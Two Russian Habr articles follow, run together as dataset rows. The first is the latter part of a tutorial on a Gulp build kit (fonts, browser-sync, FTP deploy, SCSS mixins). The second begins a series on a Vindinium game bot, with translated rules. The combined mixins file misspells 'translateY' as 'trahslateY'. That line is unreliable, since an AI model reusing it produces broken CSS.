src,
dest
} = require('gulp');
const changed = require('gulp-changed');
const ttf2woff2 = require('gulp-ttftowoff2');
const ttf2woff = require('gulp-ttf2woff');
module.exports = function ttf(done) {
src('src/fonts/**/*.ttf')
.pipe(changed('build/fonts', {
extension: '.woff2',
hasChanged: changed.compareLastModifiedTime
}))
.pipe(ttf2woff2())
.pipe(dest('build/fonts'))
src('src/fonts/**/*.ttf')
.pipe(changed('build/fonts', {
extension: 'woff',
hasChanged: changed.compareLastModifiedTime
}))
.pipe(ttf2woff())
.pipe(dest('build/fonts'))
done();
}
```
После того, как шрифты сконвертированы, нам нужно их подключить. Я так и не смог добиться полной автоматизации подключения шрифтов, объединения их по жирности и стилю начертания, в зависимости от имени файла и присвоения нескольких вариантов локального имени. Тем не менее, процесс подключения тоже можно немного автоматизировать. Для этого, во-первых, создадим в директороии `src/scss/base` файл `_mixins.scss`. В дальнейшем, он нам ещё понадобится и для других миксинов. Напишем в этом файле следующий миксин:
src/scss/base/\_mixins.scss
```
@mixin font-face($name, $file, $weight: 400, $style: normal) {
@font-face {
font-family: "#{$name}";
src: local("#{$file}"),
url('../fonts/#{$file}.woff2') format('woff2'),
url('../fonts/#{$file}.woff') format('woff');
font-weight: $weight;
font-style: $style;
font-display: swap;
}
}
```
В этот миксин нам нужно будет передать такие параметры:
* `$name` - имя шрифтового семейства;
* `$file` - имя файла;
* `$weight` - жирность шрифта (по-умолчанию установлено значение 400, но если мы передадим параметр, то значение по-умолчанию будет проигнорировано)
* `$style` - стиль начертания (тоже установлен по-умолчанию normal)
На выходе мы получим уже подключенный файл шрифта, но с ним потребуются некоторые манипуляции вручную, которые я опишу чуть ниже.
Далее нам нужно написать задачу, которая будет подключать наши шрифты. По сути эта задача будет циклом проходиться по файлам, брать имя каждого файла, отсекать расширение и на основе имени генерировать код для его подключения через миксин. Для этого нам потребуется модуль nodeJS для работы с файлами, который называется fs. Он уже установлен вместе с nodejs, поэтому устанавливать его нет необходимости - нужно только подключить: `const fs = require('fs');`
Далее создадим две переменные. В первую запишем, путь к файлу, который получим на выходе, а во вторую - путь к директории шрифтов, которые нам создала предыдущая задача.
```
let srcFonts = 'src/scss/_local-fonts.scss';
let appFonts = 'build/fonts/';
```
Дальнейший код этой функции я честно скопировал у [Максима Васяновича](https://www.youtube.com/c/maxgraph/featured) ( [@MaxGraph](/users/maxgraph) ), с его [урока про Gulp](https://github.com/maxdenaro/maxgraph-youtube-source/tree/master/Gulp%204.%20%D0%9F%D0%BE%D0%B4%D1%80%D0%BE%D0%B1%D0%BD%D0%BE%D0%B5%20%D1%80%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE) и немного переписал. В итоге, у нас получится вот такая функция:
tasks/fonts.js
```
const fs = require('fs');
const chalk = require('chalk');
let srcFonts = 'src/scss/_local-fonts.scss';
let appFonts = 'build/fonts/';
module.exports = function fonts(done) {
fs.writeFile(srcFonts, '', () => {});
fs.readdir(appFonts, (err, items) => {
if (items) {
let c_fontname;
for (let i = 0; i < items.length; i++) {
let fontname = items[i].split('.'),
fontExt;
fontExt = fontname[1];
fontname = fontname[0];
if (c_fontname != fontname) {
if (fontExt == 'woff' || fontExt == 'woff2') {
fs.appendFile(srcFonts, `@include font-face("${fontname}", "${fontname}", 400);\r\n`, () => {});
console.log(chalk `
{bold {bgGray Added new font: ${fontname}.}
----------------------------------------------------------------------------------
{bgYellow.black Please, move mixin call from {cyan src/scss/_local-fonts.scss} to {cyan src/scss/_fonts.scss} and then change it!}}
----------------------------------------------------------------------------------
`);
}
}
c_fontname = fontname;
}
}
})
done();
}
```
Эта функция на выходе создаст нам файл `src/scss/_local-fonts.scss`, в котором под каждый файл шрифтов будет содержаться вызов миксина для его подключения. Так же, при выполнении функции в консоль будет выдаваться следующее сообщение:
```
Added new font: YoyrFont.
----------------------------------------------------------------------------------
Please, move mixin call from src/scss/_local-fonts.scss to src/scss/_fonts.scss and then change it.
----------------------------------------------------------------------------------
```
Как видите, в сообщении написано следующее: "Добавлен новый шрифт: *названиешрифта.* Пожалуйста, переместите вызов миксина из `src/scss/_local-fonts.scss` в `src/scss/_fonts.scss`после чего измените его*".* Давайте разберёмся, что куда нужно переместить и как изменить. Но прежде создадим тот самый файл `src/scss/_fonts.scss` - он будет содержать уже реальные вызовы миксина для подключения шрифтов, которыми мы и будем пользоваться.
Когда мы добавляем шрифты, чаще всего, у нас есть отдельные файлы для разной жирности шрифта и для разных стилей начертания (наклонные и прямые, тонкие и жирные и т.п.). Каждый такой файл шрифта создаст отдельный вызов миксина и на выходе мы получим файл `src/scss/_local-fonts.scss` примерно такого содержания:
```
@include font-face("Arial", "Arial", 400);
@include font-face("ArialBold", "ArialBold", 400);
@include font-face("ArialItalic", "ArialItalic", 400);
```
Как видим, мы подключаем шрифты отдельными названиями. Это неправильно с точки зрения читабельности и удобства использования шрифта, поскольку вместо того, чтобы прописывать font-weight: 700, нам каждый раз придётся указывать font-family: "ArialBold". Это плохая практика, поэтому нам нужно переписать эти вызовы. Как помним из миксина, который мы написали, первым параметром он принимает имя шрифтового семейства. В данном случае это "Arial". Второй параметр мы не меняем - это имя файла без расширения (расширения подставит миксин). Третий параметр отвечает за жирность. Изменим во второй строке 400 на 700. Четвёртый параметр, который здесь не указан, отвечает за стиль начертания. В третей строке миксин вызывается для наклонного шрифта, поэтому четвёртым параметром нужно это указать. В итоге получим:
```
@include font-face("Arial", "Arial", 400);
@include font-face("Arial", "ArialBold", 700);
@include font-face("Arial", "ArialItalic", 400, italic);
```
Теперь это всё нужно переместить в файл `src/scss/_fonts.scss`, который, естественно, **необходимо предварительно создать**. Перемещать нужно в новый файл по той причине, что при следующем запуске эта функция перезапишет файл `src/scss/_local-fonts.scss` и все наши изменения затрутся.
---
Автоматическое обновление и синхронизация браузеров
---------------------------------------------------
Нам нужно настроить Gulp таким образом, чтобы он при запуске открывал наш проект в браузере и автоматически обновлял его при каких-либо изменениях. Я для этого использую [browser-sync](https://www.npmjs.com/package/browser-sync). Этот плагин создаёт сервер средствами nodejs и позволяет подключать к нему различные браузеры. Для него у нас будет две задачи - для html-разработки и для php соответственно. Установим этот плагин и создадим два соответствующих файла задач. В первом файле мы укажем настройки для разработки html.
tasks/bs\_html.js
```
const bs = require('browser-sync');
module.exports = function bs_html() {
bs.init({
server: {
baseDir: 'build/',
host: '192.168.0.104',
},
callbacks: {
ready: function (err, bs) {
bs.addMiddleware("*", function (req, res) {
res.writeHead(302, {
location: "404.html"
});
res.end("Redirecting!");
});
}
},
browser: 'chrome',
logPrefix: 'BS-HTML:',
logLevel: 'info',
logConnections: true,
logFileChanges: true,
open: true
})
}
```
Параметр host отвечает за IP-адрес компьютера, с которого сайт будет раздаваться на другие устройства в сети. Важно, чтобы там был указан именно **IP-адрес вашего компьютера** в локальной сети, если хотите иметь доступ к разрабатываемому сайту со всех устройств. Коллбэк-функция отвечает за открытие страницы 404, если она есть и если не найдена запрашиваемая (по умолчанию это страница index.html). Все остальные параметры вы вольны настраивать как вашей душе угодно, согласно документации.
Для php мы напишем гораздо более простую задачу. Она будет только обновлять браузер в случае изменений, а локальный сервер Вы будете запускать с помощью сторонней программы: openserver, wamp или любой другой.
tasks/bs\_php.js
```
const bs = require('browser-sync');
module.exports = function bs_php() {
bs.init({
browser: ['chrome'],
watch: true,
proxy: '',
logLevel: 'info',
logPrefix: 'BS-PHP:',
logConnections: true,
logFileChanges: true,
})
}
```
Теперь нам нужно подключить в ранее написанные задачи browser-sync и pipe для обновления браузера в конце выполнения задачи. Как подключить - вы уже знаете: так же, как и др угие плагины. А добавлять pipe мы будем следуюший: `.pipe(bs.stream())`.
Перезагружать страницу нам придётся при изменении html, scss и js, php, а так же растровых картинок. Соответственно, в эти задачи я уже добавил нужный pipe.
Опционально!Лично мне нравится, когда в консоли показывается исходный размер изображений до сжатия и итоговый - после сжатия, поэтому в сборку я добавил плагин [gulp-size](https://www.npmjs.com/package/gulp-size), но поскольку я почти не нашёл единомшленников в данном вопросе "засорения терминала лишней инфой", я не описывал его здесь. При желании вы можете добавить соответствующий pipe к нужным задачам. В публично доступной версии сборки его так же нет.
Далее нам следует заняться функциями вотчинга. Вотчинг - это состояние, когда вся наша программа запущена, следит за файлами и их изменением и выполняет те или иные функции, если эти файлы изменились. И так, за чем будем следить: html, php, scss, js, json (ниже объясню, для чего), изображения в src, изображения в build (помните, что у нас webp конвертируются из уже сжатых изображений?), svg, шрифты. Давайте напишем соответствующую задачу:
tasks/watch.js
```
const {
watch,
parallel,
series
} = require('gulp');
module.exports = function watching() {
watch('src/**/*.html', parallel('html'));
watch('src/**/*.php', parallel('php'));
watch('src/**/*.scss', parallel('style'));
watch('src/**/*.js', parallel('dev_js'));
watch('src/**/*.json', parallel('html'));
watch('src/img/**/*.+(png|jpg|jpeg|gif|svg|ico)', parallel('rastr'));
watch('build/img/**/*.+(png|jpg|jpeg)', parallel('webp'));
watch('src/svg/css/**/*.svg', series('svg_css', 'style'));
watch('src/svg/sprite/**/*.svg', series('svg_sprite', 'rastr'));
watch('src/fonts/**/*.ttf', series('ttf', 'fonts'));
}
```
Здесь мы использовали два варианта запуска и выполнения задач - parallel и series. Разница между ними в том, что в первом случае задачи запускаются одновременно и выполняются параллельно друг другу, а во втором - последовательно, одна за другой в том порядке, в котором мы указали.
Обратите внимание на имя нашей функции. Поскольку переменная watch уже занята методом галпа, мы назвали свою функцию несколько иначе.
Вот и всё. Мы научили Gulp следить за файлами и выполнять те или иные задачи в тот момент, когда эти файлы изменились.
---
Деплой на хостинг по FTP
------------------------
Для этого нам потребуется отдельная задача и плагин. Я использую [vinyl-ftp](https://www.npmjs.com/package/vinyl-ftp), хотя есть аналоги, без проблем делающие то же самое. Установим его и напишем задачу. На хостинг будем грузить только директорию `build/`, в которой находятся готовые, скомпилированные файлы проекта. Для вывода результата в консоль я буду использовать тот же chalk.
tasks/deploy.js
```
const {
src
} = require('gulp');
const ftp = require('vinyl-ftp');
const ftpSettings = require('../tasks/ftp_settings');
const chalk = require('chalk');
const connect = ftp.create(ftpSettings);
module.exports = function deploy() {
return src(['build/**/*.*', '!build/**/*.map'])
.pipe(connect.newer('public_html/'))
.pipe(connect.dest('public_html/'))
.on('success', () => console.log(`Finished deploing ./build to https://${chalk.blueBright(ftpSettings.host)}`))
}
```
Константа `connect` - это функция, в которую аргументом передаётся объект с настройками хостинга - адрес сервера, логин, пароль. **Будьте аккуратны, выкладывая подобные данные на Github** или другое хранилище кода. Я создал отдельный файл tasks/ftp\_settings.json с настройками и р**екомендую вам добавить его в gitignore**, чтобы случайно не забыть и не вывалить свои логин и пароль к хостингу на весь мир:
```
{
"host": "yourhosting.com",
"user": "username",
"pass": "*********",
"parallel": 10
}
```
Не забудьте так же указать правильную директорию на ftp-сервере вместо `public_html/`, которая указана в моих настройках newer и dest.
---
Написание GULP- и NPM-сценариев
-------------------------------
Теперь нам нужно составить несколько gulp-сценариев, то есть поочерёдного запуска задач для того, чтобы собирать воедино наш проект.
Для этого у нас будет две gulp-задачи: default и php, с той лишь разницей, что мы будем запускать тот или иной сервер, а так же несколько сценариев npm для запуска разработки, запуска сборки проекта и для деплоя на хостинг.
Для начала нам необходимо задать все написанные ранее функции в gulpfile.js, чтобы они были доступны в gulp. Делать мы это будем так же, как мы делали с функцией hello:
```
exports.style = tasks.style;
exports.libs_style = tasks.libs_style;
exports.build_js = tasks.build_js;
exports.libs_js = tasks.libs_js;
exports.dev_js = tasks.dev_js;
exports.html = tasks.html;
exports.php = tasks.php;
exports.rastr = tasks.rastr;
exports.webp = tasks.webp;
exports.svg_css = tasks.svg_css;
exports.svg_sprite = tasks.svg_sprite;
exports.ttf = tasks.ttf;
exports.fonts = tasks.fonts;
exports.bs_html = tasks.bs_html;
exports.bs_php = tasks.bs_php;
exports.watch = tasks.watch;
exports.deploy = tasks.deploy;
```
После этого создадим сценарии, которые будем выполнять при запуске Gulp с теми или иными параметрами:
Сценарий для html (он же - сценарий по-умолчанию)
```
exports.default = gulp.parallel(
exports.libs_style,
exports.style,
exports.libs_js,
exports.dev_js,
exports.rastr,
exports.webp,
exports.svg_css,
exports.svg_sprite,
exports.ttf,
exports.fonts,
exports.html,
exports.bs_html,
exports.watch
)
```
Сценарий для php
```
exports.dev_php = gulp.parallel(
exports.libs_style,
exports.svg_css,
exports.fonts,
exports.style,
exports.libs_js,
exports.dev_js,
exports.rastr,
exports.webp,
exports.svg_sprite,
exports.ttf,
exports.php,
exports.bs_php,
exports.watch
)
```
Итоговый gulpfile.js будет выглядеть так:
gulpfile.js
```
const gulp = require('gulp');
const requireDir = require('require-dir');
const tasks = requireDir('./tasks');
exports.style = tasks.style;
exports.libs_style = tasks.libs_style;
exports.build_js = tasks.build_js;
exports.libs_js = tasks.libs_js;
exports.dev_js = tasks.dev_js;
exports.html = tasks.html;
exports.php = tasks.php;
exports.rastr = tasks.rastr;
exports.webp = tasks.webp;
exports.svg_css = tasks.svg_css;
exports.svg_sprite = tasks.svg_sprite;
exports.ttf = tasks.ttf;
exports.fonts = tasks.fonts;
exports.bs_html = tasks.bs_html;
exports.bs_php = tasks.bs_php;
exports.watch = tasks.watch;
exports.deploy = tasks.deploy;
exports.default = gulp.parallel(
exports.libs_style,
exports.style,
exports.libs_js,
exports.dev_js,
exports.rastr,
exports.webp,
exports.svg_css,
exports.svg_sprite,
exports.ttf,
exports.fonts,
exports.html,
exports.bs_html,
exports.watch
)
exports.dev_php = gulp.parallel(
exports.libs_style,
exports.style,
exports.libs_js,
exports.dev_js,
exports.rastr,
exports.webp,
exports.svg_css,
exports.svg_sprite,
exports.ttf,
exports.fonts,
exports.php,
exports.bs_php,
exports.watch
)
```
Теперь перейдём в файл package.json и напишем несколько npm-сценариев, которые будут последовательно выполнять задачи и запускать сборку. В объекте "scripts" мы можем задавать в формате ключ-значение имя и наборы задач для запуска. Я сделаю пять сценариев:
```
"scripts": {
"html": "gulp",
"php": "gulp dev_php",
"build": "gulp libs_style && gulp svg_css && gulp ttf && gulp fonts && gulp style && gulp libs_js && gulp build_js && gulp rastr && gulp webp && gulp svg_sprite && gulp html && gulp php",
"ftp": "gulp deploy",
"build-ftp": "npm run build && npm run ftp"
},
```
* **html** будет запускать Gulp для разработки в html-версии;
* **php** будет запускать Gulp для разработки в php-версии;
* **build** будет поочерёдно запускать задачи для сборки проекта в build без запуска вотчинга и сервера;
* **ftp** отправит содержимое пдиректории build кроме файловых карт (файлы с расширением .map) на ftp-сервер;
* **build-ftp** поочерёдно выполнит build и ftp сценарии.
---
Создание базовых шаблонов
-------------------------
Для разработки нам потребуются стартовые шаблоны html, кое-какие стили и несколько миксинов, которыми мы будем пользоваться в разработке. Начнём с html. Создадим индексный файл (index.html) со стандартной базовой разметкой:
```
Document
```
Теперь уберём в компонент то, что будет повторяться на всех страницах:
src/components/page-blocks/\_head.html
```
@@title
```
...и подключим этот компонент вместо обычного head страницы:
```
@@include('components/page-blocks/_head.html',{
"lang":"en",
"title":"Easy-webdev-startpack v3.0",
"description":"Gulp pack for easy html/php markup development",
"keywords":"",
"favicon":"img/favicons/favicon",
})
```
Как можете видеть, ничего сложного нет. Функция @@include принимает два параметра. Первый параметр - путь к файлу, который мы импортируем, а второй - json-объект (тут может быть путь к файлу json, содержащему объект или массив), в котором в формате ключ-значение указаны те переменные, которые нам нужно подставить в этом инклюде. Создадим в директории компонентов так же шаблоны хедера, футера и подключения скриптов:
src/components/page-blocks/...\_header.html
-------------
\_footer.html
-------------
\_scripts.html
--------------
```
```
И теперь подключим их все в индексный файл:
```
@@include('components/page-blocks/_head.html',{
"lang":"en",
"title":"Easy-webdev-startpack v3.0",
"description":"Gulp pack for easy html/php markup development",
"keywords":"",
"favicon":"img/favicons/favicon",
})
@@include('components/page-blocks/\_header.html')
@@include('components/page-blocks/\_footer.html')
@@include('components/page-blocks/\_scripts.html')
```
Теперь при запуске Gulp на выходе мы получим готовую страницу, с прописанным head, header, footer и подключенными скриптами. Если после запуска gulp посмотреть на индексный файл в директории build, то мы увидим вполне обычный html-файл:
Теперь перейдём к созданию базовых стилей. Для начала, я подключу все необходимые директории с файлами в style.scss. Здесь важен порядок импорта стилей, поскольку стили, которые будут ниже в итоговом файле имеют приоритет:
```
@import 'base/*.scss';
@import 'global/*.scss';
@import '../components/**/*.scss';
@import '**/_*.scss';
```
Далее создам в директории src/scss/base файл `_01_normalize.scss` Именно так: с подчёркиванием и номером файла. Это нужно для того, чтобы стили из этого файла оказались в самом верху и их можно было перебить другими стилями, если это понадобится. Далее в этот файл я скопирую стили из [normalize.css](https://necolas.github.io/normalize.css/). Безусловно, можно подключить normalize в качестве плагина, но я выбрал именно этот способ, в том числе, для демонстрации принципов подключения файлов со стилями.
Теперь перейдём к файлу src/scss/base/\_mixins.scss. Добавим сюда несколько миксинов, чтобы было удобно задавать быстрые стили:
```
@mixin bg ($size:"contain", $position: "center") {
background-size: #{$size};
background-position: #{$position};
background-repeat: no-repeat;
}
```
Этот миксин поможет нам с фоновыми картинками. Достаточно нужному классу написать `@include bg` и на выходе мы получим вот это:
```
body {
background-size: contain;
background-position: center;
background-repeat: no-repeat;
}
```
Следующий миксин, который я использую - это анимация кнопок (при наведении, фокусе и нажатии):
```
@mixin btn_anim($scaleMax:1.05, $scaleMin:0.95) {
transform-origin: center center;
transition: all ease-out 240ms;
&:hover {
transform: scale($scaleMax);
}
&:focus{
outline: transparent;
}
&:focus-visible {
transform: scale($scaleMax) translateY(-5%);
}
&:active {
transform: scale($scaleMin);
}
}
```
Далее идёт миксин для сброса стилей кнопки. Очень часто такой необходим.
```
@mixin no-btn ($display:"inline-block") {
padding: 0;
margin: 0;
border: 0;
background-color: transparent;
border-radius: 0;
cursor: pointer;
appearance: none;
display: #{$display};
}
```
Следующий миксин достаточно спорный, но я исплоьзую. Он делает transition:
```
@mixin transit ($tr:0.24) {
transition: all #{$tr}s;
}
```
И ещё один миксин для контейнеров:
```
@mixin container($max-width:"120rem",$padding:"2rem"){
width: 100%;
max-width: #{$max-width};
padding: 0 #{$padding};
margin: 0 auto;
}
```
Теперь перейдём в файл `src/scss/global/_global.scss` и создадим несколько "служебных" классов и общих стилей. Я и не припомню проекта, где они не были бы мне нужны.
Во-первых, установим box-sizing: border-box для всех элементов страницы:
```
*,
*::before,
*::after {
box-sizing: border-box;
}
```
Во-вторых, распишем стили для флексов:
```
.flex {
display: flex;
align-items: flex-start;
justify-content: flex-start;
}
.--just-space {
justify-content: space-between;
}
.--just-center {
justify-content: center;
}
.--just-end {
justify-content: flex-end;
}
.--align-str {
align-items: stretch;
}
.--align-center {
align-items: center;
}
.--align-end {
align-items: flex-end;
}
.--dir-col{
flex-direction: column;
}
```
В-третьих, для html и body заранее установим некоторые стили:
```
html{
font-size: 16px;
}
html,
body {
min-height: 100%;
position: relative;
}
body{
font-size: 1rem;
}
```
И далее момент спорный, но я использую. Это сброс отступов у некоторых блочных элементов:
```
ul,
ol,
li,
p,
h1,
h2,
h3,
h4,
h5,
h6 {
margin: 0;
}
```
И того, у нас должны получиться файлы:
src/scss/base/\_mixins.scss
```
@mixin font-face($name, $file, $weight: 400, $style: normal) {
@font-face {
font-family: "#{$name}";
src: local("#{$file}"),
url('../fonts/#{$file}.woff2') format('woff2'),
url('../fonts/#{$file}.woff') format('woff');
font-weight: $weight;
font-style: $style;
font-display: swap;
}
}
@mixin bg ($size:"contain", $position: "center") {
background-size: #{$size};
background-position: #{$position};
background-repeat: no-repeat;
}
@mixin btn_anim($scaleMax:1.05, $scaleMin:0.95) {
transform-origin: center center;
transition: all ease-out 240ms;
&:hover {
transform: scale(#{$scaleMax});
}
&:focus {
outline: transparent;
}
&:focus-visible {
transform: scale(#{$scaleMax}) trahslateY(-5%);
}
&:active {
transform: scale(#{$scaleMin});
}
}
@mixin no-btn ($display:"inline-block") {
padding: 0;
margin: 0;
border: 0;
background-color: transparent;
border-radius: 0;
cursor: pointer;
appearance: none;
display: #{$display};
}
@mixin transit ($tr:0.24) {
transition: all #{$tr}s;
}
@mixin container($max-width:"120rem", $padding:"2rem") {
width: 100%;
max-width: #{$max-width};
padding: 0 #{$padding};
margin: 0 auto;
}
```
src/scss/global/\_global.scss
```
*,
*::before,
*::after {
box-sizing: border-box;
}
.flex {
display: flex;
align-items: flex-start;
justify-content: flex-start;
}
.--just-space {
justify-content: space-between;
}
.--just-center {
justify-content: center;
}
.--just-end {
justify-content: flex-end;
}
.--align-str {
align-items: stretch;
}
.--align-center {
align-items: center;
}
.--align-end {
align-items: flex-end;
}
.--dir-col {
flex-direction: column;
}
html {
font-size: 16px;
}
html,
body {
min-height: 100%;
position: relative;
}
body {
font-size: 1rem;
}
ul,
ol,
li,
p,
h1,
h2,
h3,
h4,
h5,
h6 {
margin: 0;
}
```
Вот, собственно и всё. Поздравляю! Наша сборка готова к работе.
---
Краткое howto
-------------
**Первое** что следует сказать, что с помощью @@include-функции вы можете вставлять не только html файлы, но и любые другие, в которых есть текстовая информация. Например, вы можете вставлять инлайновые svg в html, не загромождая код.
**Второе.** В функции @@include есть особый режим @@loop, который принимает вторым аргументом массив объектов и повторяет элемент столько раз, сколько объектов есть в массиве. То есть можно создать, например, слайдер с разными картинками, скормив функции @@loop массив путей к картинкам. **ВАЖНОЕ ОГРАНИЧЕНИЕ!** loop не работает внутри includ'а - только в корневых файлах.
**Третье.** Старайтесь дробить свой код на как можно большее количество компонентов. Так вам будет удобнее разрабатывать свои проекты. В директории components можно создавать вложенные директории, в которых хранить шаблоны html, scss и js отдельного компонента (например, слайдера). Scss и js из этой директории подтянутся в выходные файлы, можете об этом не переживать.
---
Вместо послесловия
------------------
Если вы дочитали аж до сюда, значит статья была для вас интересной и познавательной. Поэтому, пожалуйста, пройдите по [этой ссылке](https://github.com/budfy/Easy-webdev-startpack) и поставьте звезду моей сборке. Вам это 10 секунд времени, а мне будет приятно и я буду понимать, что есть запрос на дальнейшее развитие сборки.
Если же Вы знаете, как можно улучшить сборку, отрефакторить какую-то задачу, то напишите об этом в комментариях, а лучше, оставьте свой pull-request в репозитории. Я всегда открыт к улучшениям и готов обсуждению. | https://habr.com/ru/post/560894/ | null | ru | null |
# Пишем ИИ для Виндиниума на одноплатных компьютерах. Часть 2: логика принятия решения
Серия статей по написанию ИИ для многопользовательской онлайн игры жанра рогалик.
[Часть 1](https://geektimes.ru/post/291823/).
[Часть 3](https://geektimes.ru/post/292495/).
*В этой части статьи рассмотрим подходы по созданию логики для ИИ, немного поговорим о целеполагании каждого законопослушного бота, а также определимся с выбором языка программирования и напишем немного кода.*
Игровой мир Vindinium
----------------------
Для того, чтобы создать ИИ, необходимо разобраться в устройстве игрового мира.
**Вольный перевод документации игры**#### Описание
Vindinium — многопользовательский пошаговый рогалик. У каждого из четырех игроков есть один герой, который может перемещаться по карте. Цель состоит в том, чтобы игроки собрали максимальное количество золота в течение заданного количества ходов (каждый игрок делает 300 ходов за игру, таким образом, вся игра состоит из 1200 ходов). Игроки должны взять под свой контроль золотые рудники для производства золота; однако рудники защищены гоблинами. Когда игрок побеждает гоблина, он становится владельцем рудника и получает одно золото за ход. Кроме того, гоблин теперь защищает рудник от других игроков.
Герои могут сражаться друг с другом. Выживший в бою получает контроль над всеми золотыми рудниками своего противника. Убитый герой немедленно возрождается со всем своим золотом, однако все рудники переходят в руки убийце.
Наведываясь в таверну, герои могут купить пиво за 2 единицы золота, таким образом восстанавливая свои очки здоровья.
Цель состоит в том, чтобы создать компьютерную программу (бота), которая играет в игру Vindinium как можно более разумно. Рекомендуется использовать [один из стартовых наборов для большого числа языков программирования](http://vindinium.org/starters) в качестве отправной точки.
#### Карта
Карты создаются случайным образом. Каждый игровой объект на карте кодируется с использованием двух символов. Пример карты:
```
+----------------------------------------+
|######$- $-############$- $-######|
|###### ## ## ######|
|####[] #### #### []####|
|## #### ## ## #### ##|
|#### $- $- ####|
|########## @1 @4 ##########|
|############ #### #### ############|
|$-##$- ############ $-##$-|
| $- $-################$- $- |
| ######################## |
| ######################## |
| $- $-################$- $- |
|$-##$- ############ $-##$-|
|############ #### #### ############|
|########## @2 @3 ##########|
|#### $- $- ####|
|## #### ## ## #### ##|
|####[] #### #### []####|
|###### ## ## ######|
|######$- $-############$- $-######|
+----------------------------------------+
```
#### Легенда
`##` — Непреодолимый лес
`@1` — Первый герой
`[]` — Таверны
`$-` — Золотой рудник (ничейный)
`$1` — Золотой рудник (принадлежащий первому герою)
Сгенерированные карты симметричны и всегда содержат 4 таверны и 4 героя.
#### Герой
Герои могут перемещаться на одну клетку за каждый ход и иметь следующие показатели:
* Очки здоровья (HP): Каждый "свежий" игрок начинает с максимального значения = 100. Если HP падает до нуля, герой умирает (смотрите раздел "Смерть героя").
* Золото: начиная с нуля, это показатель успешности героя. В конце игры герои будут оценены на основе их количества золота.
* Количество золотых рудников.
#### Направление движения
Бот должен отдавать один приказ за ход. Возможные приказы: `Стоять на месте` (`Stay`), `На север` (`North`), `На юг` (`South`), `На восток` (`East`) или `На запад` (`West`). Как только приказ исполнен, герой остается на своем месте или перемещается на одну клетку в заданном направлении.
##### Перемещение героя
Если герой:
* Пытается выйти за границы карты или пройти сквозь деревья, ничего не происходит.
* Заходит в золотой рудник, он остается на месте и:
+ Если рудник уже принадлежит герою, ничего не происходит.
+ Если шахта ничейная или принадлежит другому герою, происходит бой с гоблином-стражем, охраняющим шахту. Герой теряет 20 очков жизни. Если он выживет, шахта его.
* Наступает на другого героя, он остается на месте и ничего не происходит. Поединки героев решаются в конце хода.
* Заходит в таверну, он остается на месте и заказывает себе поесть. Герой платит 2 золота и восстанавливает 50 единиц здоровья. Обратите внимание, что количество здоровья не может превышать 100 единиц.
* Не отправляет приказ за отведенное ему время для принятия решения (1 секунду), он остается на месте до окончания игры, отправлять новые приказы становится невозможно. Обратите внимание, что он все равно может выиграть, если в конце игры у него больше золота, чем у других игроков.
#### Конец хода
После того, как герой переместился (или решил остаться на месте), произойдут следующие вещи:
##### Сражения
Герои немного нервничают и никогда не упускают возможности ударить друг друга большими мечами. В конце хода героя, если есть враг на расстоянии одного квадрата в любом направлении, герой его атакует. Например, в этой ситуации, в конце хода первого героя (`@1`):
```
########
##@1@2##
## @3##
########
```
Игрок 1 атакует второго игрока, но не трогает третьего, потому что третий стоит на расстоянии двух клеток от него.
Нападающий не теряет единиц здоровья, обороняющийся теряет 20 единиц.
Если обороняющийся умирает (см .: Смерть героя), нападающий получает контроль над всеми золотыми рудниками проигравшего.
##### Добыча золота
После своего хода и сражений с другими героями (если таковые были), игрок получает одну единицу золота за каждый подконтрольный рудник.
##### Жажда
Затем герой теряет одну единицу здоровья, ибо любое действие вызывает у него жажду.
Обратите внимание, что герои не могут умереть от жажды. В худшем случае, значение их здоровья падает до единицы.
#### Смерть героя
Когда здоровье героя падает до нуля, он умирает. Герой немедленно появляется на карте на своей точке возрождения, с полным запасом здоровья (100 единиц). Герой теряет контроль над всеми своими золотыми рудниками, но сохраняет все свое накопленное золото. Будьте осторожны, когда герой возвращается на точку возрождения, любой противник, который находится в этой клетке, автоматически умирает. Таким образом, вам следует избегать пребывания на клетке возрождения одного из героев ...
Герой не может умереть от жажды. Жажда может оставить героя с одной единицей здоровья, но не убить его.
#### Конец игры
Игра заканчивается, когда достигается максимальное количество ходов(обычно 300). Победителем является герой с наибольшим количеством золота. Если у двух игроков одинаковое количество золота, победителя нет.
#### Рейтинг
Система оценки относительной силы игроков использует [Рейтинг Эло](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B9%D1%82%D0%B8%D0%BD%D0%B3_%D0%AD%D0%BB%D0%BE). Идея такова: лучше быть первым, чем вторым, лучше быть вторым, чем третьим, и так далее. Надеюсь, принцип понятен.
#### Использование нескольких ботов одновременно
Вы можете одновременно запускать несколько экземпляров ваших ботов и, в общем-то, использовать любые меры, которые, по вашему мнению, подходят для достижения доминирующего лидерства. Боритесь!
[Ссылка на оригинал](http://vindinium.org/doc)
Стоит отметить еще пару аспектов, которые не были описаны в правилах, но выявлены опытным путем:
* Если у нас меньше 21 единицы здоровья, но нападаешь на рудник, не принадлежащий тебе, то ты умираешь. Да-да, защиты от дурака нет, тут всё серьезно, как в самых настоящих сражениях. Если ты напал на ничейный рудник, все твои рудники становятся ничейными, а если на рудник одного из врагов, то твои рудники переходят в руки игрока, которому принадлежит этот рудник.
* Игра описывает такой порядок действий: `Исполнение приказа` — `Бьем ближайших врагов` — `Теряем 1 единицу здоровья от жажды`. А что случится, если в ходе исполнения приказа мы умрем (в игре можно это сделать, только умерев в сражении с гоблином)? Мы возрождаемся (и мгновенно убиваем игрока, который стоит сейчас на нашем спаунпоинте), но теряем возможность ударить ближайших врагов, а также не теряем 1 единицу здоровья вследствие жажды.
* Убив во время своего возрождения противника, стоящего на нашем спаунпоинте, мы захватываем его рудники, хе-хе.
* Карта имеет квадратный вид, длина карты принимает четные значения на отрезке [8, 28].
"Учитесь у своих врагов и вы поймете их сильные стороны"
---------------------------------------------------------
Виндиниум — публичная игра, ее полезной стороной является то, что мы можем заглянуть в профиль любому игроку и посмотреть последние сто боев с его участием. "Отлично! Самое время использовать нейронные сети, ведь у нас есть 50 топ-игроков, возьмем из них 10 самых сильных, в каждом из 100 последних боев содержится ~300 моментов, когда игрок должен был принимать решение, итого около 200-300 тысяч единиц материала для обучения! А еще можно каждую ситуацию вращать по часовой стрелке, отзеркаливать, etc, чтобы получить еще больше материала для обучения и закрепить результат, это даст нам аж целых 4.8-7.2 миллионов единиц материала" — раздался голос разума. Да, действительно, такая идея имеет право на существование. К тому же, у нейронных сетей есть много достоинств.
* Весь материал для обучения легко парсится из открытого источника.
* Раскрывается широкий простор для размышления над компьютерным зрением:
